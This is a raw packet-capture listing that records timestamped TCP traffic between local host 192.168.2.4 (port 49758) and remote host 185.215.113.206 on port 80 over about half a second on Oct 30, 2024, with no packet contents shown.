Oct 30, 2024 20:13:28.105941057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.105953932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.106376886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.106393099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.106408119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.106534004 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.106616974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.106637955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.106652975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.106667042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.106682062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.106695890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.106710911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.106718063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.106725931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.106738091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.106781006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.106781006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.226526976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.226567030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.226577044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.226638079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.226651907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.226727962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.226782084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.226810932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.226840973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.226856947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.226861954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.226883888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.226927996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.227081060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.227094889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.227117062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.227133989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.227135897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.227148056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.227163076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.227166891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.227174997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.227174997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.227200031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.227200031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.227421045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.227509975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.227572918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.227586031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.227598906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.227613926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.227617025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.227628946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.227632999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.227643013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.227658033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.227674007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.227674007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.227674007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.227674007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.227709055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.227709055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.227737904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.228051901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.228068113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.228111982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.228111982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.228185892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.228306055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.228322029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.228338003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.228343010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.228353024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.228353977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.228368044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.228370905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.228370905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.228383064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.228398085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.228401899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.228401899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.228414059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.228423119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.228431940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.228542089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.228946924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.228960991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.228976011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.228991032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229006052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229006052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229012966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229028940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229028940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229042053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229044914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229060888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229062080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229063034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229074955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229089022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229099035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229104996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229120016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229120016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229125023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229142904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229162931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229162931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229820967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229836941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229851007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229866028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229868889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229868889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229881048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229892969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229907036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229907036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229907990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229923010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229923010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229939938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.229940891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229959011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.229959011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.230031967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.348402023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.348427057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.348442078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.348479033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.348520994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.348570108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.348586082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.348625898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.348670959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.348828077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.348946095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349019051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.349021912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349036932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349067926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.349098921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.349212885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349226952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349242926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349270105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.349324942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.349410057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349423885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349477053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.349477053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.349560022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349575043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349589109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349608898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.349644899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.349644899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.349838018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349853039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349868059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349884033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349891901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.349900007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349914074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.349914074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.349915028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349931002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.349932909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.349963903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.349983931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.350321054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.350336075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.350348949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.350362062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.350384951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.350399017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.350595951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.350610018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.350636005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.350641966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.350657940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.350673914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.350673914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.350688934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.350703001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.350703001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.350703955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.350718975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.350724936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.350724936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.350733995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.350739956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.350783110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.350783110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.351495981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.351511002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.351525068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.351542950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.351556063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.351556063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.351557016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.351572990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.351572990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.351588011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.351588964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.351598978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.351603985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.351618052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.351632118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.351645947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.351645947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.351645947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.351646900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.351660013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.351660967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.351675987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.351676941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.351722002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.352358103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.352372885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.352386951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.352401018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.352411985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.352411985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.352417946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.352421045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.352432966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.352446079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.352461100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.352468014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.352471113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.352482080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.352497101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.352498055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.352510929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.352524996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.352524996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.352524996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.352559090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.352582932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.353250027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.353265047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.353277922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.353293896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.353308916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.353323936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.353338957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.353341103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.353341103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.353341103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.353341103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.353341103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.353369951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.353390932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.470232010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.470252991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.470268011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.470284939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.470324993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.470324993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.471524000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.471584082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.471601963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.471621990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.471621990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.471657991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.471683979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.471698999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.471733093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.471733093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.471875906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.471890926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.471905947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.471935034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.471935034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.471947908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.472285986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.472333908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.472472906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.472489119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.472517967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.472539902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.473977089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.474030018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.474127054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.474199057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.474260092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.474368095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.474415064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.474431992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.474476099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.474637985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.474679947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.474833965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.474848986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.474864006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.474878073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.474886894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.474894047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.474922895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.474945068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475024939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475039959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475054979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475070953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475085974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475090981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475090981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475101948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475116014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475116968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475151062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475151062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475164890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475178003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475210905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475210905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475220919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475238085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475253105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475267887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475279093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475279093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475279093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475284100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475298882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475302935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475322962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475323915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475332975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475363970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475367069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475378990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475393057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475403070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475411892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475415945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475430965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475445986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475451946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475451946 CET	49758	80	192.168.2.4	185.215.113.206
